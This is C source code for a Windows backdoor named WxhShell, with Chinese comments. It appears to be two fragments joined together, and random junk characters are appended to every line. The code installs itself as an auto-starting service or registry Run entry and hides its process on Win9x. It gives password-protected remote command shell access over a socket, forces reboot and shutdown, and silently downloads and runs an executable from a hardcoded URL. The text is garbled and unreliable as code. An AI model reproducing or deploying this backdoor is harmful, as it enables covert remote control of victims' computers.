    } ]Y?{$M G  
    break; bS_y_ 9K  
    } uEc0/ a :.  
  // 关机 cfrvy^>,  
  case 'd': { 3P%w-qT!N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |G|*  
    if(Boot(SHUTDOWN)) =$&7IQ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \7OJN ~&<  
    else { )< &B&Hp  
    closesocket(wsh); GhSL%y  
    ExitThread(0); 7yc9`j}]  
    } *%P>x}6w3  
    break; ^.ZSpc}<  
    } JUe K"|fA  
  // 获取shell CwTS/G  
  case 's': { vLi/'|7  
    CmdShell(wsh); ZX~>uf\n  
    closesocket(wsh); vB&F_"/X2  
    ExitThread(0); s BeP;ox  
    break; `@VM<av  
  } )x_W&*oZ  
  // 退出 HPu/. oE  
  case 'x': { krEH`f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J dk3) \  
    CloseIt(wsh); bIvJs9L  
    break; uzzWZ9Tv  
    } yv6Zo0s<J  
  // 离开 mq|A8>g  
  case 'q': { BK`Q)[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U.zRIhA ]  
    closesocket(wsh); _mIa8K;  
    WSACleanup(); Uxj<x`<1x  
    exit(1); %J/fg<W1  
    break; "z{_hp{T^  
        } ^g}gT-l%  
  } :,xyVb+  
  } ^P3g9'WK  
.(P@Bl]XJ  
  // 提示信息 .!7Fe)(x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $M}k%Z  
} Ak %no3:9  
  } b@{%qh ,C  
ft~|  
  return; CPF>^Mp#  
} xdFP$Y~ogy  
}"g21-T^  
// shell模块句柄 i?&4SG+2~K  
int CmdShell(SOCKET sock) rzYobOKd#  
{ XudH  
STARTUPINFO si; FcA)RsMI*  
ZeroMemory(&si,sizeof(si)); Qwp\)jVi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -@gJqoo>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1`2);b{@  
PROCESS_INFORMATION ProcessInfo; Tb!B!m  
char cmdline[]="cmd"; hB2s$QS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kb>Vw<NtE  
  return 0; !R] CmK  
} Kd ryl   
A9fjMnw  
// 自身启动模式 m-Z'K_oQ  
int StartFromService(void) c1)BGy li  
{ OTNZ!U/)j  
typedef struct Hz!U_?  
{ Z,N7nMJf  
  DWORD ExitStatus; <manv8*6  
  DWORD PebBaseAddress; 3H\b N4  
  DWORD AffinityMask; e@2E0u4  
  DWORD BasePriority; ;QvvU[eb  
  ULONG UniqueProcessId; Q)%8NVs  
  ULONG InheritedFromUniqueProcessId; #LrCx"_&  
}   PROCESS_BASIC_INFORMATION; %(dV|,|v  
n}ZBU5_  
PROCNTQSIP NtQueryInformationProcess; Y_Z &p#Q!  
P&-D0T_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @]y{M;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8IT_mjj  
"OS]\-  
  HANDLE             hProcess; @y;tk$e  
  PROCESS_BASIC_INFORMATION pbi; @=MZ6q  
6>LQGO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Chb 4VoE  
  if(NULL == hInst ) return 0; "x=@ ,*Bk  
npG+# z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]'1N_m]?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 69<rsp(p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w|n?m  
_>_y@-b  
  if (!NtQueryInformationProcess) return 0;  ycAi(K  
k DceBs s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J4 '!  
  if(!hProcess) return 0; S7#^u`'Q_^  
LfjS[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KH@) +Rj  
l;][Q]Z@V  
  CloseHandle(hProcess); ?O.6r"  
2Xj-A\Oh~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qu#@F\gX  
if(hProcess==NULL) return 0; ,G!_ SZ  
,< )/45  
HMODULE hMod; <=y5 8O]x  
char procName[255]; Z>MJ0J76]  
unsigned long cbNeeded; $V{- @=  
T0np<l]A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w'!}(Z5X?  
[r~rIb%Zj  
  CloseHandle(hProcess); NkjQyMF  
No92Y^~/  
if(strstr(procName,"services")) return 1; // 以服务启动 OL mBh3&  
;hfG$ {l;  
  return 0; // 注册表启动 )*$  
} ~A:;?A'.  
b$`4Nn|  
// 主模块 <+i`W7  
int StartWxhshell(LPSTR lpCmdLine) g:HbmXOBpj  
{ \A~I>x  
  SOCKET wsl; E{k%d39>  
BOOL val=TRUE; L[[H&#\  
  int port=0; A0N ;VYv  
  struct sockaddr_in door; IpaJ<~ p  
!i"9f_  
  if(wscfg.ws_autoins) Install(); dC;d>j,  
>`,#%MH#  
port=atoi(lpCmdLine); s$nfY.C  
pg}DC0a  
if(port<=0) port=wscfg.ws_port; MS*Mem,  
enD C#  
  WSADATA data; DRB YH(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i]^*J1a  
vsr~[d=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aY1#K6(y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I +4qu|0lA  
  door.sin_family = AF_INET; Lw2YP[CR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E/ed0'|m  
  door.sin_port = htons(port); XGrxzO|{  
Rp@}9qijb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \8>N<B)  
closesocket(wsl); )>A%FL9  
return 1; 0 *Yivx6  
} C6T 9  
Nm :|C 3_I  
  if(listen(wsl,2) == INVALID_SOCKET) { kp &XX|  
closesocket(wsl); ?k7/`g U  
return 1; s)&R W#:X  
} =ILo`Q~  
  Wxhshell(wsl); <812V8<!  
  WSACleanup();  q&Ua(I  
h|/*yTuN.y  
return 0; VT~ ^:-]  
cB])A57<  
} K v>#  
z )}wo3  
// 以NT服务方式启动 8'_ ]gfF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VTX'f2\  
{ ,vY I O  
DWORD   status = 0; u #QSa$P  
  DWORD   specificError = 0xfffffff; [?r\b  
?Kz` O>"6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6`$z*C2{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FVLA^$5c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x?k |i}Q  
  serviceStatus.dwWin32ExitCode     = 0; bA9dbe  
  serviceStatus.dwServiceSpecificExitCode = 0; * jNu?$  
  serviceStatus.dwCheckPoint       = 0; P*^UU\x'4I  
  serviceStatus.dwWaitHint       = 0; GMp'KEQQ  
AxqTPx7`|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MS^hsUj}  
  if (hServiceStatusHandle==0) return; F9G$$%Q-Z  
[~r $US  
status = GetLastError(); nv|y@! (  
  if (status!=NO_ERROR) <h>fip3o  
{ E6IL,Iq9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WAXrA$:3J  
    serviceStatus.dwCheckPoint       = 0; 21J82M  
    serviceStatus.dwWaitHint       = 0; g='2~c  
    serviceStatus.dwWin32ExitCode     = status; Y?SJQhN6W  
    serviceStatus.dwServiceSpecificExitCode = specificError; oTa+E'q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I3=Sc^zz&V  
    return; Wv'B[;[)  
  } Vblf6qaBs  
5suSR;8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hdDI%3vk3  
  serviceStatus.dwCheckPoint       = 0; a +Qj[pS  
  serviceStatus.dwWaitHint       = 0; pDS4_u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fHp#Gi3Lz  
} \Hx#p`B%  
 k`zK  
// 处理NT服务事件,比如:启动、停止 ON=ley  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y&|{x "  
{ 5UD;Z V%  
switch(fdwControl)  [ ^ \)  
{ nQ*oOxe|X  
case SERVICE_CONTROL_STOP: )$.9Wl Q  
  serviceStatus.dwWin32ExitCode = 0; Y7I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .c K  
  serviceStatus.dwCheckPoint   = 0; |vE#unA  
  serviceStatus.dwWaitHint     = 0; ]V7hl#VO  
  { *>H'@gS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %[F;TZt  
  } 6*oTT(0<p  
  return; vb2O4%7tw  
case SERVICE_CONTROL_PAUSE: |"&4"nwa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Olrw>YbW  
  break; N@ tb^M  
case SERVICE_CONTROL_CONTINUE: ~9 nrS9)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k5<0M'  
  break; 9 CSz<[  
case SERVICE_CONTROL_INTERROGATE: QLLV OJi  
  break; Zl/+HU~  
}; z>#$#:Z4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,(b~L<zN&  
} Z?[J_[ZtR3  
Xst}tz62F  
// 标准应用程序主函数 3]82gZG G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,=yIfbFQ  
{ <1K: G/!  
ol>=tk 8}  
// 获取操作系统版本  C3Z(k}  
OsIsNt=GetOsVer(); {-Oc8XI/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Eu_0n6J  
C/#/F#C  
  // 从命令行安装 :7]R2JP  
  if(strpbrk(lpCmdLine,"iI")) Install(); BU .G~0  
qoq<dCt3  
  // 下载执行文件 R5~m"bE  
if(wscfg.ws_downexe) { 1KEPD@0oxx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dNmX<WXG  
  WinExec(wscfg.ws_filenam,SW_HIDE); n m$G4Q  
} 6/C  
J)~=b_'<  
if(!OsIsNt) { g4932_tC  
// 如果时win9x,隐藏进程并且设置为注册表启动 N^>g= Ub  
HideProc(); 3Sb%]f5(  
StartWxhshell(lpCmdLine); r!=VV!XZ  
} r+obm)Qtp  
else -Euy5Y  
  if(StartFromService()) uATRZMai  
  // 以服务方式启动 UzRF'<TWf  
  StartServiceCtrlDispatcher(DispatchTable); S!c@6&XJm?  
else @ uWD>(D  
  // 普通方式启动 <0MUn#7'  
  StartWxhshell(lpCmdLine); Kn]WXc|("  
hj[g2S%X  
return 0; }e6:&`a xD  
} 3@A k6Uh  
T{Q&}`D)r  
<i?-x&Q?=  
Sa(r l^qZ2  
=========================================== 7tnzgtal  
`fHiY.-  
BF#e=p  
|8rJqtf +&  
Y`RfE  
F:U_gW?  
" Gj0NN:  
cZ,_O~  
#include <stdio.h> z[Qv}pv  
#include <string.h> Z/;SR""wa  
#include <windows.h> O`| ri5d  
#include <winsock2.h> Q?q m~wD  
#include <winsvc.h> m]vr|:{6/  
#include <urlmon.h> Sy~Mh]{E  
IT"jtV  
#pragma comment (lib, "Ws2_32.lib")  EZFWxR/  
#pragma comment (lib, "urlmon.lib") \/G Y0s  
ld6@&34  
#define MAX_USER   100 // 最大客户端连接数 W6>uLMUa  
#define BUF_SOCK   200 // sock buffer l\GNd6)H  
#define KEY_BUFF   255 // 输入 buffer /otgFQ_  
D[?|\?  
#define REBOOT     0   // 重启 U h}yHD`K  
#define SHUTDOWN   1   // 关机 W>49,A,q  
XsCbA8Qv  
#define DEF_PORT   5000 // 监听端口 M?`06jQD.  
n40Z  
#define REG_LEN     16   // 注册表键长度 Plv+mb  
#define SVC_LEN     80   // NT服务名长度 w9BH>56/"  
2y,wN"qH*  
// 从dll定义API ^6n]@4P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4]R3*F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  glUP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .})8gL7 V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %(6WrE5F6  
_X/`4 G  
// wxhshell配置信息 z@j&vW  
struct WSCFG { }8e %s;C  
  int ws_port;         // 监听端口 lX7^LB  
  char ws_passstr[REG_LEN]; // 口令 '{~ ej:  
  int ws_autoins;       // 安装标记, 1=yes 0=no v|z1nD!?]  
  char ws_regname[REG_LEN]; // 注册表键名 ,%^0 4sl  
  char ws_svcname[REG_LEN]; // 服务名 )}v2Z3:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 + u+fEg/A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x(~l[hT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bHNaaif}P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [8n4lE[)"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UYUd IIoL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |@F<ajlV  
Y_B( R  
}; j.*}W4`Q_  
[d}1Cq=_  
// default Wxhshell configuration N3)EG6vE*  
struct WSCFG wscfg={DEF_PORT, ~]Jfg$'  
    "xuhuanlingzhe", fQh!1R  
    1, ,#{aAx|]  
    "Wxhshell", <o O_wS@:  
    "Wxhshell", &iivSc;#  
            "WxhShell Service", ljRR  
    "Wrsky Windows CmdShell Service", sj~'.Zs%  
    "Please Input Your Password: ", 1+Oo Qs  
  1, b7/4~_s  
  "http://www.wrsky.com/wxhshell.exe", ZhU2z*qN#  
  "Wxhshell.exe" }^t?v*kcA  
    }; 5q[@N  J  
N 2\,6<  
// 消息定义模块 Q]C1m<x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l0f6Lxfz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mvxvX!t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I nk76-  
char *msg_ws_ext="\n\rExit."; H{If\B%1t  
char *msg_ws_end="\n\rQuit."; 3ly|y{M",  
char *msg_ws_boot="\n\rReboot..."; f QdQ[  
char *msg_ws_poff="\n\rShutdown..."; pe8MG(V  
char *msg_ws_down="\n\rSave to "; TaH9Nu  
n&^Rs )%v  
char *msg_ws_err="\n\rErr!"; ek<U2C_u#  
char *msg_ws_ok="\n\rOK!"; 1?;s!6=  
D KOdqTW  
char ExeFile[MAX_PATH]; W=drp>Uj  
int nUser = 0; {fWZ n  
HANDLE handles[MAX_USER]; ,h"M{W$  
int OsIsNt; #+$z`C`  
W-MQMHQ  
SERVICE_STATUS       serviceStatus; !Iqyt. .  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LdL< 5Q[  
/}wGmX! -!  
// 函数声明 ygHNAQG~  
int Install(void); >*&[bW'}?  
int Uninstall(void); \W4SZR%u  
int DownloadFile(char *sURL, SOCKET wsh); OWU]gh@r  
int Boot(int flag); }0 Z3Lrv  
void HideProc(void); ;XjKWM;  
int GetOsVer(void); TSeAC[%pL  
int Wxhshell(SOCKET wsl); 3't?%$'5  
void TalkWithClient(void *cs); IlY,V  
int CmdShell(SOCKET sock); TX;|g1K  
int StartFromService(void); h4U .wk  
int StartWxhshell(LPSTR lpCmdLine); zPn8>J<.0Q  
NW$Z}?I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &Ef'5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \|kU{d0  
0>vm&W<?)  
// 数据结构和表定义 ke0Vy(3t{h  
SERVICE_TABLE_ENTRY DispatchTable[] = zK}.Bhj#  
{ -7CkOZT  
{wscfg.ws_svcname, NTServiceMain}, n']@Spm  
{NULL, NULL} ,+XQ!y%  
}; 4&tY5m>  
)<+Z,6  
// 自我安装  (1ebE  
int Install(void) =6>mlI>i  
{ )s M}BY  
  char svExeFile[MAX_PATH]; Q"KH!Bu%P  
  HKEY key; f_}55?i0  
  strcpy(svExeFile,ExeFile); K/altyj`  
0@2%pIq\  
// 如果是win9x系统,修改注册表设为自启动 s`TfNwDvU  
if(!OsIsNt) { ]C_6I\Z#=W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k5^'b#v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mR@iGl\\  
  RegCloseKey(key); Z# 1Qj9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6;ICX2Wq'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZC05^  
  RegCloseKey(key); W /IyF){  
  return 0; 8<xJmcTEwO  
    } 3+IS7ATn  
  } c#_%|gg  
} $OmtN"  
else { ]:F]VRPT  
w$1.h'2  
// 如果是NT以上系统,安装为系统服务 8YCtU9D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $uboOfS83G  
if (schSCManager!=0) 7#Mi`W  
{ P )`-cfg  
  SC_HANDLE schService = CreateService qRNGe8  
  ( <w[)T`4N  
  schSCManager, w(VH>t  
  wscfg.ws_svcname, 7p|Pv;wp|  
  wscfg.ws_svcdisp, nfd^'}$]  
  SERVICE_ALL_ACCESS, $L(,q!DvH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _T H'v:C  
  SERVICE_AUTO_START, a &j H9  
  SERVICE_ERROR_NORMAL, Fq~de%y  
  svExeFile, {2-w<t  
  NULL, +3VY0J  
  NULL, j  $L  
  NULL, %h^; "|Z  
  NULL, Bp9 u6R  
  NULL a93Aj  
  ); (g5T2(_6L  
  if (schService!=0) ofsua?lSe  
  { PM ,I?lJ,  
  CloseServiceHandle(schService); V;9.7v  
  CloseServiceHandle(schSCManager); 23 3jT@Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `g3H; E  
  strcat(svExeFile,wscfg.ws_svcname); B \BP:;"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yYF%U7N/n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZM0vB% M|  
  RegCloseKey(key); s+,JwV?b  
  return 0; PE-Vx RN)  
    } r-=#C1eY&  
  } g+U6E6}1  
  CloseServiceHandle(schSCManager); @r=O~x  
} 64Q{YuI  
} .a?GC(  
%vgn>A?]1  
return 1;  6~j6M4*  
} H&l/o  
S9-FKjU  
// 自我卸载 Lk4gjs,V  
int Uninstall(void) ~ #Vrf0w/  
{ Ea 0 j}  
  HKEY key; o#CNr5/  
7iT#dpF/A  
if(!OsIsNt) { 0rooL<~fa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _>0 I9.[5  
  RegDeleteValue(key,wscfg.ws_regname); KftZ ^mk+p  
  RegCloseKey(key); bt"*@NJ$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <t\!g  
  RegDeleteValue(key,wscfg.ws_regname); Dhv ^}m@  
  RegCloseKey(key); s@V4ny9x  
  return 0; >E6w,Ab  
  } vT)FLhH6*  
}  K<6)SL4  
} #,lJ>mTe4  
else { [s"xOP9R  
VI/77  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $zKf>[K  
if (schSCManager!=0) qJj"WU5  
{ \9jEpE^Ju(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  ~p<w>C9  
  if (schService!=0) =wtu  
  { qYF150  
  if(DeleteService(schService)!=0) { w`x4i fZ0q  
  CloseServiceHandle(schService); .7_<0&kW  
  CloseServiceHandle(schSCManager); 3vepJ) D (  
  return 0; 6C7|e00v  
  } <>%2HRn<u  
  CloseServiceHandle(schService); IN~Q(A]Z%  
  } E:(DidSE@  
  CloseServiceHandle(schSCManager); )lwxF P;  
} bW-9YXj%  
} Ia %> c  
"w7wd5h  
return 1; B'SLyf  
} QZw`+KR  
hR(\%p  
// 从指定url下载文件 Y,n&g45m  
int DownloadFile(char *sURL, SOCKET wsh) ) G a5c  
{ gw O]U=Y  
  HRESULT hr; +~Wg@   
char seps[]= "/"; clyZD`*  
char *token; _<}oBh  
char *file; ;auT!a~a#  
char myURL[MAX_PATH]; fAYp\ k  
char myFILE[MAX_PATH]; wkc)2z   
}xJ ).D  
strcpy(myURL,sURL); Y#7sDd!N|  
  token=strtok(myURL,seps); }6b" JoC  
  while(token!=NULL) j2^Vz{  
  { 1L3 +KD~  
    file=token; >sGIpER7  
  token=strtok(NULL,seps); oR[-F+__  
  } yI$KBx/]n  
WstX>+?'  
GetCurrentDirectory(MAX_PATH,myFILE); F}MjZZj(U=  
strcat(myFILE, "\\"); ;#)sV2F\&  
strcat(myFILE, file); +7E&IK  
  send(wsh,myFILE,strlen(myFILE),0); C)hS^D:  
send(wsh,"...",3,0); 7!F<Uf,V3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l^!raoH]q  
  if(hr==S_OK) = Zi'L48  
return 0; Op<,e{[]  
else &1 t84p:^=  
return 1; ]?c9;U  
=/kwUjC?  
} (_IPz)F  
Z@(m.&ZRx  
// 系统电源模块 <!;NJLe`  
int Boot(int flag) r?7tI0  
{ SJ*qgI?}T  
  HANDLE hToken; \l-JU  
  TOKEN_PRIVILEGES tkp; ;T hn C>U  
`]F}O \H  
  if(OsIsNt) { M,w5F5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $/J4?Wik  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f0M5^  
    tkp.PrivilegeCount = 1; f9$8$O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o*_arzhA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "vvv@sYxi  
if(flag==REBOOT) { <~z@G MQCf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LiyR,e  
  return 0;  hik.c3  
} JIatRc?g  
else { _*w kTI+j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /`s{!t#Y  
  return 0; `}.jH1Fx/m  
} U5:5$T,C  
  } SiLWy=qbR  
  else { C[R|@9NI  
if(flag==REBOOT) { |Ml~_m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SDu%rr7sQ  
  return 0; a! gj_  
} UX24*0`\~  
else { VV-%AS6;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^Ycn&`s  
  return 0; v`&>m '  
} 4D)M_O  
} +OaBA>Jh9  
gY {/)"  
return 1; *JArR1J  
} O-(gkE  
cC pNF `DN  
// win9x进程隐藏模块 ]?sw<D{  
void HideProc(void) E3V_qT8  
{ 'i:S=E F  
;iA$yw:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n #PXMD*  
  if ( hKernel != NULL ) K |^OnM  
  { p'4ZcCW?f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |-9##0H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9}T(m(WQVu  
    FreeLibrary(hKernel); *RD<*l  
  } ~--b#o{  
6 m%/3>q  
return; /"@k_[O  
} _ |G') 9  
LS/ZZAN u  
// 获取操作系统版本 Bo4iX,zu  
int GetOsVer(void) AzMX~cd  
{ RDxvN:v  
  OSVERSIONINFO winfo; Um!LF"Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D\Fu4Eg  
  GetVersionEx(&winfo); 8;i'dF:)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dc9Fb^]QOG  
  return 1; =AP0{  
  else 1}q(Pn2  
  return 0; iw^"?:'%  
} E?h'OR@_ L  
5Z>+NKQ  
// 客户端句柄模块 :DJLkMP  
int Wxhshell(SOCKET wsl) w""  
{ {!*dk V  
  SOCKET wsh; Ask~  
  struct sockaddr_in client; Og1Hg B3v  
  DWORD myID; |@rYh-5  
&UQP9wS4v  
  while(nUser<MAX_USER) g$U7bCHG  
{ N&G; `  
  int nSize=sizeof(client); R:y u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .*Axr\x3  
  if(wsh==INVALID_SOCKET) return 1; 4oPr|OKj{*  
W]5sqtF;6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Qn=y/._r  
if(handles[nUser]==0) r)gtx!bx  
  closesocket(wsh); uA%cie  
else 08z?i  
  nUser++; `08}y*E  
  } JqK-vvI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }g"K\x:Z  
G(hzW%P  
  return 0; (,['6k<  
} b?:SCUI  
 z:d+RMA  
// 关闭 socket &ER,;^H `6  
void CloseIt(SOCKET wsh) l(3\ekU!  
{ l8 XY  
closesocket(wsh); CTZ#QiNP  
nUser--; :@,UPc-+  
ExitThread(0); ui&^ m,  
} ]g]~!":  
%(~8a  
// 客户端请求句柄 A}CpyRVCn  
void TalkWithClient(void *cs) X?S LYm@v  
{ M5{vYk>,1Q  
R 5Cy%  
  SOCKET wsh=(SOCKET)cs; 71G00@&w9D  
  char pwd[SVC_LEN]; +~?K@n  
  char cmd[KEY_BUFF]; -O6\!Wo=-  
char chr[1]; aFDCVm%U|  
int i,j; h5ZxxtGU  
T2}ccnDi  
  while (nUser < MAX_USER) { -hKtd3WbT  
,QHn} 3fW  
if(wscfg.ws_passstr) { ~p$ncIr2Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CW@G(R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U/:x<Y$ tj  
  //ZeroMemory(pwd,KEY_BUFF); A[N>T\  
      i=0; 7WN$ rl5/  
  while(i<SVC_LEN) { vW03nt86  
.KxE>lJbqM  
  // 设置超时 sX#7;,Ft7  
  fd_set FdRead; KDYyLkI dr  
  struct timeval TimeOut; C72btS  
  FD_ZERO(&FdRead); P"k,[ZQ  
  FD_SET(wsh,&FdRead); 1#jvr_ ga  
  TimeOut.tv_sec=8; _R;+}1G/  
  TimeOut.tv_usec=0; ^j g{MTa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); etL)T":XV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vA#?\j2  
Kvh6D"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jAOD&@z1  
  pwd=chr[0]; 1~9AQ[]w8  
  if(chr[0]==0xd || chr[0]==0xa) { ;aUI3n%  
  pwd=0; mG+hLRTXP  
  break; l&m'?. g f  
  } `*Jw[Bnh8  
  i++; WyJXT.  
    } ppPzI,  
+( V+XT  
  // 如果是非法用户,关闭 socket cP[]\r+Kj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }$1Aw%p^  
} Gq^#.o]  
ai~JY[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !GBGC|avE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8A|i$#.&  
Mta;6<  
while(1) { ]@7]mu:oL  
 eZ +uW0  
  ZeroMemory(cmd,KEY_BUFF); K7 $Vl"l  
!FR1yO'd>  
      // 自动支持客户端 telnet标准   Yq%D/dU8  
  j=0;  P7 p'j  
  while(j<KEY_BUFF) { -g)*v<Fb5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Rnq5y  
  cmd[j]=chr[0]; d^jIsE`  
  if(chr[0]==0xa || chr[0]==0xd) { N>_d {=P  
  cmd[j]=0; ti9 cfv>  
  break; /yj-^u\R  
  } [EV}P&U  
  j++; |A@Gch fd  
    }  \ l8$1p  
n)rF!a  
  // 下载文件 G.c@4Wz+  
  if(strstr(cmd,"http://")) { Zx}.mt#}8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1MzOHE  
  if(DownloadFile(cmd,wsh)) 7w=%aW|  
